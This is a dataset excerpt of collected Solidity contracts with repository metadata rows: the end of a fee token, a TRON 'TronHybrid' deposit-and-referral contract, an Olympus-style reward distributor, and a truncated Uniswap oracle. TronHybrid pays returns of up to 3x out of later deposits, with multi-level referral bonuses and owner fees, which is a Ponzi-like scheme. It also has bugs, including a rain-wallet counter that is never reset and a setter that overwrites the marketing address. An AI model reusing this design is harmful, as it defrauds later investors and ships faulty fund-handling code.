uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 9000e9 , 'maxTxAmount should be greater than 9000e9');
_maxTxAmount = maxTxAmount;
}
}
| 34,868 | 12,755 |
6dae9cc2b2fba507f98fb8a6ce8957817cee199818ec9206ec0982e12882900b
| 15,043 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TN/TNJTbS85VgCixhgdF3kxdbCHo5sPNipeMW_TronHybrid.sol
| 4,506 | 14,534 |
//SourceUnit: TronHybrid.sol
pragma solidity 0.5.8;
contract TronHybrid {
using SafeMath for uint256;
struct PlayerDeposit {
uint256 amount;
uint256 withdrawn;
uint256 timestamp;
}
struct Player {
address referral;
uint256 first_deposit;
uint256 last_withdraw;
uint256 referral_bonus;
uint256 fee_bonus;
uint256 dividends;
uint256 total_invested;
uint256 total_withdrawn;
uint256 total_referral_bonus;
PlayerDeposit[] deposits;
mapping(uint8 => uint256) referrals_per_level;
mapping(uint8 => uint256) payouts_per_level;
}
uint256 total_invested;
uint256 total_investors;
uint256 total_withdrawn;
uint256 total_referral_bonus;
uint256 telegram_rain_wallet;
struct TopCount {
uint count;
address addr;
}
mapping(uint8 => mapping(uint8 => TopCount)) public tops;
event Deposit(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
address payable owner;
address payable marketing;
mapping(address => Player) public players;
uint8[] public referral_bonuses;
constructor(address payable _owner, address payable _marketing) public {
owner = _owner;
referral_bonuses.push(50);
referral_bonuses.push(25);
referral_bonuses.push(10);
referral_bonuses.push(5);
referral_bonuses.push(5);
referral_bonuses.push(5);
marketing = _marketing;
}
function deposit(address _referral) external payable {
require(msg.value >= 1e7, "Zero amount");
require(msg.value >= 50000000, "Minimal deposit: 50 TRX");
Player storage pl = players[msg.sender];
require(pl.deposits.length < 250, "Max 250 deposits per address");
_setReferral(msg.sender, _referral);
pl.deposits.push(PlayerDeposit({
amount: msg.value,
withdrawn: 0,
timestamp: uint256(block.timestamp)
}));
if(pl.first_deposit == 0){
pl.first_deposit = block.timestamp;
}
if(pl.total_invested == 0x0){
total_investors += 1;
}
elaborateTopX(1, msg.sender, (pl.total_invested + msg.value));
pl.total_invested += msg.value;
total_invested += msg.value;
_referralPayout(msg.sender, msg.value);
_rewardTopListAndTelegram(msg.value);
owner.transfer(msg.value.mul(5).div(100));
marketing.transfer(msg.value.mul(5).div(100));
emit Deposit(msg.sender, msg.value);
}
function _rewardTopListAndTelegram(uint256 _value) private {
for(uint8 k = 0; k < 2; k++) {
for(uint8 i = 0; i < 3; i++){
address adr = tops[k][i].addr;
if(adr != address(0) && players[adr].total_invested > 0){
players[adr].fee_bonus += _value.mul((i == 0 ? 5 : (i == 1 ? 2 : 1))).div(1000);
}
}
}
telegram_rain_wallet += _value.mul(0).div(1000);
if(telegram_rain_wallet > 25000000){
marketing.transfer(telegram_rain_wallet);
}
}
function _setReferral(address _addr, address _referral) private {
if(players[_addr].referral == address(0)) {
if(_referral == address(0)){ _referral = owner; }
players[_addr].referral = _referral;
for(uint8 i = 0; i < referral_bonuses.length; i++) {
players[_referral].referrals_per_level[i]++;
if(i == 0){ elaborateTopX(0, _referral, players[_referral].referrals_per_level[i]); }
_referral = players[_referral].referral;
if(_referral == address(0)) break;
}
}
}
function _referralPayout(address _addr, uint256 _amount) private {
address ref = players[_addr].referral;
for(uint8 i = 0; i < referral_bonuses.length; i++) {
if(ref == address(0)) break;
uint256 bonus;
if(i == 0){
bonus = _amount * ((referral_bonuses[i] * 10) + _referralBonus(_addr) + _whaleBonus(_addr))/ 10000;
} else {
bonus = _amount * referral_bonuses[i] / 1000;
}
players[ref].referral_bonus += bonus;
players[ref].total_referral_bonus += bonus;
players[ref].payouts_per_level[i] += bonus;
total_referral_bonus += bonus;
ref = players[ref].referral;
}
}
function withdraw() payable external {
Player storage player = players[msg.sender];
_payout(msg.sender);
require(player.dividends > 0 || player.referral_bonus > 0, "Zero amount");
uint256 amount = player.dividends + player.referral_bonus + player.fee_bonus;
player.dividends = 0;
player.referral_bonus = 0;
player.fee_bonus = 0;
player.total_withdrawn += amount;
total_withdrawn += amount;
msg.sender.transfer(amount);
emit Withdraw(msg.sender, amount);
}
function _payout(address _addr) private {
uint256 payout = this.payoutOf(_addr);
if(payout > 0) {
_updateTotalPayout(_addr);
players[_addr].last_withdraw = uint256(block.timestamp);
players[_addr].dividends += payout;
}
}
function _updateTotalPayout(address _addr) private{
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 from = player.last_withdraw > dep.timestamp ? player.last_withdraw : dep.timestamp;
uint256 to = uint256(block.timestamp);
if(from < to) {
uint256 _val = dep.amount * (to - from) * _getPlayerRate(_addr) / 864000000;
if(_val > ((dep.amount * 3) - dep.withdrawn)){
_val = ((dep.amount * 3) - dep.withdrawn);
}
player.deposits[i].withdrawn += _val;
}
}
}
function payoutOf(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
uint256 from = player.last_withdraw > dep.timestamp ? player.last_withdraw : dep.timestamp;
uint256 to = uint256(block.timestamp);
if(from < to) {
uint256 _val = dep.amount * (to - from) * _getPlayerRate(_addr) / 864000000;
if(_val > ((dep.amount * 3) - dep.withdrawn)){
_val = ((dep.amount * 3) - dep.withdrawn);
}
value += _val;
}
}
return value;
}
function setTelegramRainAddress(address payable _telegram_rain) external payable {
require(msg.sender == owner, "Not allowed");
marketing = _telegram_rain;
}
function contractStats() view external returns(uint256 _total_invested, uint256 _total_investors, uint256 _total_withdrawn, uint256 _total_referral, uint16 _contract_bonus) {
return(total_invested, total_investors, total_withdrawn, total_referral_bonus, _contractBonus());
}
function playerStats(address _adr) view external returns(uint16 _referral_bonus, uint16 _whale_bonus, uint16 _strong_hand_bonus, uint16 _top_ref_bonus, uint16 _top_whale_bonus, uint16 _roi){
return(_referralBonus(_adr), _whaleBonus(_adr), _strongHandBonus(_adr), _topReferralBonus(_adr), _topWhaleBonus(_adr), _getPlayerRate(_adr));
}
function playerInfo(address _adr) view external returns(uint256 _total_invested, uint256 _total_withdrawn, uint256 _last_withdrawn, uint256 _referral_bonus, uint256 _fee_bonus, uint256 _available){
Player memory pl = players[_adr];
return(pl.total_invested, pl.total_withdrawn, pl.last_withdraw, pl.referral_bonus, pl.fee_bonus, (pl.dividends + pl.referral_bonus + pl.fee_bonus + this.payoutOf(_adr)));
}
function playerReferrals(address _adr) view external returns(uint256[] memory ref_count, uint256[] memory ref_earnings){
uint256[] memory _ref_count = new uint256[](6);
uint256[] memory _ref_earnings = new uint256[](6);
Player storage pl = players[_adr];
for(uint8 i = 0; i < 6; i++){
_ref_count[i] = pl.referrals_per_level[i];
_ref_earnings[i] = pl.payouts_per_level[i];
}
return (_ref_count, _ref_earnings);
}
function top10() view external returns(address[] memory top_ref, uint256[] memory top_ref_count, address[] memory top_whale, uint256[] memory top_whale_count){
address[] memory _top_ref = new address[](10);
uint256[] memory _top_ref_count = new uint256[](10);
address[] memory _top_whale = new address[](10);
uint256[] memory _top_whale_count = new uint256[](10);
for(uint8 i = 0; i < 10; i++){
_top_ref[i] = tops[0][i].addr;
_top_ref_count[i] = tops[0][i].count;
_top_whale[i] = tops[1][i].addr;
_top_whale_count[i] = tops[1][i].count;
}
return (_top_ref, _top_ref_count, _top_whale, _top_whale_count);
}
function investmentsInfo(address _addr) view external returns(uint256[] memory starts, uint256[] memory amounts, uint256[] memory withdrawns) {
Player storage player = players[_addr];
uint256[] memory _starts = new uint256[](player.deposits.length);
uint256[] memory _amounts = new uint256[](player.deposits.length);
uint256[] memory _withdrawns = new uint256[](player.deposits.length);
for(uint256 i = 0; i < player.deposits.length; i++) {
PlayerDeposit storage dep = player.deposits[i];
_amounts[i] = dep.amount;
_withdrawns[i] = dep.withdrawn;
_starts[i] = dep.timestamp;
}
return (_starts,
_amounts,
_withdrawns);
}
function _referralBonus(address _adr) view private returns(uint16){
Player storage pl = players[_adr];
uint256 c = pl.referrals_per_level[0];
uint16 _bonus = 0;
if(c >= 500){ _bonus = 250; }
else if(c >= 250){ _bonus = 200; }
else if(c >= 100){ _bonus = 150; }
else if(c >= 50){ _bonus = 100; }
else if(c >= 15){ _bonus = 50; }
else if(c >= 5){ _bonus = 10; }
return _bonus;
}
function _whaleBonus(address _adr) view private returns(uint16){
Player storage pl = players[_adr];
uint256 cur_investment = pl.total_invested;
uint16 _bonus = 0;
if(cur_investment >= 1000000000000){ _bonus = 250; }
else if(cur_investment >= 250000000000){ _bonus = 200; }
else if(cur_investment >= 100000000000){ _bonus = 150; }
else if(cur_investment >= 25000000000){ _bonus = 100; }
else if(cur_investment >= 10000000000){ _bonus = 50; }
else if(cur_investment >= 2500000000){ _bonus = 10; }
return _bonus;
}
function _strongHandBonus(address _adr) view private returns(uint16){
Player storage pl = players[_adr];
uint256 lw = pl.first_deposit;
if(pl.last_withdraw < lw){ lw = pl.last_withdraw; }
if(lw == 0){ lw = block.timestamp; }
uint16 sh = uint16(((block.timestamp - lw)/86400)*10);
if(sh > 3000){ sh = 3000; }
return sh;
}
function _contractBonus() view private returns(uint16){
return uint16(address(this).balance/1000000/50000);
}
function _topReferralBonus(address _adr) view private returns(uint16){
uint16 bonus = 0;
for(uint8 i = 0; i < 10; i++){
if(tops[0][i].addr == _adr){
if(i == 0){ bonus = 200; }
else if(i == 1){ bonus = 150; }
else if(i == 2){ bonus = 100; }
else { bonus = 50; }
}
}
return bonus;
}
function _topWhaleBonus(address _adr) view private returns(uint16){
uint16 bonus = 0;
for(uint8 i = 0; i < 10; i++){
if(tops[1][i].addr == _adr){
if(i == 0){ bonus = 200; }
else if(i == 1){ bonus = 150; }
else if(i == 2){ bonus = 100; }
else { bonus = 50; }
}
}
return bonus;
}
function _getPlayerRate(address _adr) view private returns(uint16){
return (100 + _contractBonus() + _strongHandBonus(_adr) + _whaleBonus(_adr) + _referralBonus(_adr) + _topReferralBonus(_adr) + _topWhaleBonus(_adr));
}
function elaborateTopX(uint8 kind, address addr, uint currentValue) private {
if(currentValue > tops[kind][11].count){
bool shift = false;
for(uint8 x; x < 12; x++){
if(tops[kind][x].addr == addr){ shift = true; }
if(shift == true && x < 11){
tops[kind][x].count = tops[kind][x + 1].count;
tops[kind][x].addr = tops[kind][x + 1].addr;
} else if(shift == true && x == 1){
tops[kind][x].count = 0;
tops[kind][x].addr = address(0);
}
}
uint8 i = 0;
for(i; i < 12; i++) {
if(tops[kind][i].count < currentValue) {
break;
}
}
uint8 o = 1;
for(uint8 j = 11; j > i; j--) {
//if(tops[kind][j - o].addr == addr){ o += 1; }
tops[kind][j].count = tops[kind][j - o].count;
tops[kind][j].addr = tops[kind][j - o].addr;
}
tops[kind][i].count = currentValue;
tops[kind][i].addr = addr;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
| 306,382 | 12,756 |
e23aa1d4042410d08fa53c14fef8ddd1a0b60a0abfeb2faa1eba17fa7786f057
| 17,610 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b3/b3a39bb71fc1f83a49ff02928f740e7af1a3660b_Distributor.sol
| 3,881 | 15,340 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 88,861 | 12,757 |
5ccd017ba7e2b648b96005b6d1be1b3575a47b67e695756762f12cc5762028c2
| 29,172 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b1/B1BDd9Aa4E3b0Fb58453C79499FF1e35cA28943a_UniswapPairOracle.sol
| 5,122 | 18,986 |
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from,
address to,
uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from,
address to,
uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner,
address spender,
uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
